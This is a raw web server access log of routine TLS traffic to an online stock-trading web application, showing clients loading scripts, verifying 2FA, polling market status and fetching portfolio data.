[09/Jan/2026:12:16:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932454078 HTTP/1.1" -
[09/Jan/2026:12:16:24 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:16:25 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932453847 HTTP/1.1" -
[09/Jan/2026:12:16:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932456239 HTTP/1.1" -
[09/Jan/2026:12:16:29 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932459099 HTTP/1.1" -
[09/Jan/2026:12:16:30 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932459047 HTTP/1.1" -
[09/Jan/2026:12:16:32 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:12:16:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932461384 HTTP/1.1" -
[09/Jan/2026:12:16:32 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Verify2FAService HTTP/1.1" 423
[09/Jan/2026:12:16:32 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/main.html?language=tc&version=HTML HTTP/1.1" 3578
[09/Jan/2026:12:16:33 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/ui.datepicker.css HTTP/1.1" 1145
[09/Jan/2026:12:16:33 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter-theme.blue.css HTTP/1.1" 2083
[09/Jan/2026:12:16:33 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/dragtable-2.0.9.css HTTP/1.1" 316
[09/Jan/2026:12:16:33 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-1.10.3.css HTTP/1.1" 5283
[09/Jan/2026:12:16:33 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style_common.css?v=20200819161914 HTTP/1.1" 2540
[09/Jan/2026:12:16:33 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style.css?v=20200819161914 HTTP/1.1" 1435
[09/Jan/2026:12:16:33 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/css/jquery.jscrollpane.css HTTP/1.1" 690
[09/Jan/2026:12:16:33 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.ba-postmessage.js HTTP/1.1" 2990
[09/Jan/2026:12:16:33 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aastock.js HTTP/1.1" 553
[09/Jan/2026:12:16:33 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-1.6.3.min.js HTTP/1.1" 32057
[09/Jan/2026:12:16:33 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-migrate-3.0.0.js HTTP/1.1" 4963
[09/Jan/2026:12:16:33 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-1.10.3.js HTTP/1.1" 69642
[09/Jan/2026:12:16:33 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/cache.js?jsv=20200819161914 HTTP/1.1" 940
[09/Jan/2026:12:16:33 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-3.3.1.js HTTP/1.1" 80650
[09/Jan/2026:12:16:33 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.form-3.46.0.js HTTP/1.1" 5673
[09/Jan/2026:12:16:33 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/atmosphere.js HTTP/1.1" 13461
[09/Jan/2026:12:16:33 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.blockUI-2.66.0.js HTTP/1.1" 6651
[09/Jan/2026:12:16:33 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.validate-1.11.1.js HTTP/1.1" 7041
[09/Jan/2026:12:16:33 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/additional-methods.js HTTP/1.1" 2238
[09/Jan/2026:12:16:33 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.mousewheel-3.1.4.js HTTP/1.1" 822
[09/Jan/2026:12:16:33 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter-2.14.5.js HTTP/1.1" 8901
[09/Jan/2026:12:16:33 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter.widgets-2.14.5.js HTTP/1.1" 8611
[09/Jan/2026:12:16:33 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.getParams.js HTTP/1.1" 587
[09/Jan/2026:12:16:33 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.timer-0.9.16.js HTTP/1.1" 542
[09/Jan/2026:12:16:33 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.combobox.packed.js HTTP/1.1" 3387
[09/Jan/2026:12:16:33 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.selectboxes.pack.js HTTP/1.1" 1640
[09/Jan/2026:12:16:33 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/date.js HTTP/1.1" 2807
[09/Jan/2026:12:16:33 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/globalize-0.1.0a1.js HTTP/1.1" 6984
[09/Jan/2026:12:16:33 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/json/json2.js?jsv=20200819161914 HTTP/1.1" 1372
[09/Jan/2026:12:16:33 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/settings/crm_display_settings.js?jsv=20200819161914 HTTP/1.1" 1781
[09/Jan/2026:12:16:33 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/constants.js?jsv=20200819161914 HTTP/1.1" 400
[09/Jan/2026:12:16:33 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/custom_variables.js?jsv=20200819161914 HTTP/1.1" 275
[09/Jan/2026:12:16:33 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/translation.js?jsv=20200819161914 HTTP/1.1" 12818
[09/Jan/2026:12:16:33 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/haitong.js?jsv=20200819161914 HTTP/1.1" 3881
[09/Jan/2026:12:16:33 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/util.js?jsv=20200819161914 HTTP/1.1" 6636
[09/Jan/2026:12:16:33 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/init.js?jsv=20200819161914 HTTP/1.1" 886
[09/Jan/2026:12:16:33 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsautil.js?jsv=20200819161914 HTTP/1.1" 1017
[09/Jan/2026:12:16:33 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/corporate.js?jsv=20200819161914 HTTP/1.1" 1575
[09/Jan/2026:12:16:33 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/main.js?jsv=20200819161914 HTTP/1.1" 30725
[09/Jan/2026:12:16:33 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/update_mdf.js?jsv=20200819161914 HTTP/1.1" 856
[09/Jan/2026:12:16:33 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_bshare.js?jsv=20200819161914 HTTP/1.1" 1567
[09/Jan/2026:12:16:33 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_hkex.js?jsv=20200819161914 HTTP/1.1" 2300
[09/Jan/2026:12:16:33 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_ashare.js?jsv=20200819161914 HTTP/1.1" 2482
[09/Jan/2026:12:16:33 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_global.js?jsv=20200819161914 HTTP/1.1" 1564
[09/Jan/2026:12:16:33 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/cash_transfer.js?jsv=20200819161914 HTTP/1.1" 2712
[09/Jan/2026:12:16:33 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/account.js?jsv=20200819161914 HTTP/1.1" 2656
[09/Jan/2026:12:16:33 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/ipo.js?jsv=20200819161914 HTTP/1.1" 5726
[09/Jan/2026:12:16:33 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/mm.js?jsv=20200819161914 HTTP/1.1" 487
[09/Jan/2026:12:16:33 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/spread_cache.js?jsv=20200819161914 HTTP/1.1" 908
[09/Jan/2026:12:16:33 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/isec_calculator.js?jsv=20200819161914 HTTP/1.1" 1364
[09/Jan/2026:12:16:33 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/eStatement.js?jsv=20200819161914 HTTP/1.1" 562
[09/Jan/2026:12:16:33 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/payment_instruction.js?jsv=20200819161914 HTTP/1.1" 2178
[09/Jan/2026:12:16:33 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/payment_instruction_IMOS.js?jsv=20200819161914 HTTP/1.1" 6874
[09/Jan/2026:12:16:33 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/ExchangeList?fmt=js&jsv=20200819161914 HTTP/1.1" 146
[09/Jan/2026:12:16:33 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/string_extend.js?jsv=20200819161914 HTTP/1.1" 272
[09/Jan/2026:12:16:33 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt.js?jsv=20200819161914 HTTP/1.1" 982
[09/Jan/2026:12:16:33 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt_util.js?jsv=20200819161914 HTTP/1.1" 1206
[09/Jan/2026:12:16:33 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_cbc.js?jsv=20200819161914 HTTP/1.1" 2043
[09/Jan/2026:12:16:33 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_core.js?jsv=20200819161914 HTTP/1.1" 2106
[09/Jan/2026:12:16:33 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/asn1.js?jsv=20200819161914 HTTP/1.1" 3099
[09/Jan/2026:12:16:33 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/md5.js?jsv=20200819161914 HTTP/1.1" 1730
[09/Jan/2026:12:16:33 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/sha256.js?jsv=20200819161914 HTTP/1.1" 1362
[09/Jan/2026:12:16:33 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/prng4.js?jsv=20200819161914 HTTP/1.1" 303
[09/Jan/2026:12:16:33 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jsbn.js?jsv=20200819161914 HTTP/1.1" 6736
[09/Jan/2026:12:16:33 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rng.js?jsv=20200819161914 HTTP/1.1" 481
[09/Jan/2026:12:16:33 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsa.js?jsv=20200819161914 HTTP/1.1" 1658
[09/Jan/2026:12:16:33 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/mode-ecb.js?jsv=20200819161914 HTTP/1.1" 199
[09/Jan/2026:12:16:33 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes.js?jsv=20200819161914 HTTP/1.1" 4816
[09/Jan/2026:12:16:33 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/utilSpec.js?jsv=20200819161914 HTTP/1.1" 27
[09/Jan/2026:12:16:33 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/update_lastlogin.js?jsv=20200819161914 HTTP/1.1" 980
[09/Jan/2026:12:16:33 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pw_alert.js?jsv=20200819161914 HTTP/1.1" 418
[09/Jan/2026:12:16:33 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.jscrollpane.js HTTP/1.1" 685
[09/Jan/2026:12:16:33 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.mousewheel.js HTTP/1.1" 684
[09/Jan/2026:12:16:33 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/decimal.js HTTP/1.1" 13492
[09/Jan/2026:12:16:33 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/GoodTillDateValidExch?fmt=js&jsv=20200819161914 HTTP/1.1" 29
[09/Jan/2026:12:16:33 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/logo.png HTTP/1.1" 7042
[09/Jan/2026:12:16:33 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu01.jpg HTTP/1.1" 3466
[09/Jan/2026:12:16:33 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.cookie.js HTTP/1.1" 834
[09/Jan/2026:12:16:33 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu04.jpg HTTP/1.1" 3430
[09/Jan/2026:12:16:33 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu_logout.jpg HTTP/1.1" 1016
[09/Jan/2026:12:16:33 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg1.jpg HTTP/1.1" 329
[09/Jan/2026:12:16:33 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg3.jpg HTTP/1.1" 878
[09/Jan/2026:12:16:33 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg2.jpg HTTP/1.1" 330
[09/Jan/2026:12:16:33 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/PopUpConfig HTTP/1.1" 2
[09/Jan/2026:12:16:33 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/dialog.html?1767932460755 HTTP/1.1" 3188
[09/Jan/2026:12:16:33 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:16:33 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CustomerInfoLite HTTP/1.1" 118
[09/Jan/2026:12:16:33 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:12:16:33 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu04.jpg HTTP/1.1" 3430
[09/Jan/2026:12:16:33 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/trade.html HTTP/1.1" 2113
[09/Jan/2026:12:16:33 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SpreadPriceCache HTTP/1.1" 1947
[09/Jan/2026:12:16:33 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu01_o.jpg HTTP/1.1" 3339
[09/Jan/2026:12:16:33 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:16:33 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/GetLastLoginDate HTTP/1.1" 31
[09/Jan/2026:12:16:33 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:16:33 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/getpopupMsgName.jsp HTTP/1.1" -
[09/Jan/2026:12:16:33 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/applet_dummy.html HTTP/1.1" 330
[09/Jan/2026:12:16:33 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:16:33 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/buy_ticket.html? HTTP/1.1" 1995
[09/Jan/2026:12:16:33 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:16:33 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:16:33 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:16:33 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/multi_currency_balance.html HTTP/1.1" 295
[09/Jan/2026:12:16:33 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:12:16:34 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/Home/PostToAA.jsp?hl=tc HTTP/1.1" 287
[09/Jan/2026:12:16:34 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/trade_point01.jpg HTTP/1.1" 358
[09/Jan/2026:12:16:34 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/refresh.gif HTTP/1.1" 1145
[09/Jan/2026:12:16:34 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/images/ui-icons_222222_256x240.png HTTP/1.1" 6922
[09/Jan/2026:12:16:34 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/images/ui-bg_flat_75_ffffff_40x100.png HTTP/1.1" 208
[09/Jan/2026:12:16:34 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:16:34 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:16:34 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:16:34 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:16:34 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932464144 HTTP/1.1" -
[09/Jan/2026:12:16:35 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932464294 HTTP/1.1" -
[09/Jan/2026:12:16:35 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:16:35 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CustomerInfo HTTP/1.1" 222
[09/Jan/2026:12:16:35 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:16:35 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:16:35 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:16:35 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:12:16:36 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:16:36 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LongPollingConfig HTTP/1.1" 4
[09/Jan/2026:12:16:36 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:16:36 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/account_status.html HTTP/1.1" 426
[09/Jan/2026:12:16:36 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56236?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932463176 HTTP/1.1" -
[09/Jan/2026:12:16:36 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:12:16:36 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:16:36 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Portfolio HTTP/1.1" 1326
[09/Jan/2026:12:16:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932466511 HTTP/1.1" -
[09/Jan/2026:12:16:37 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
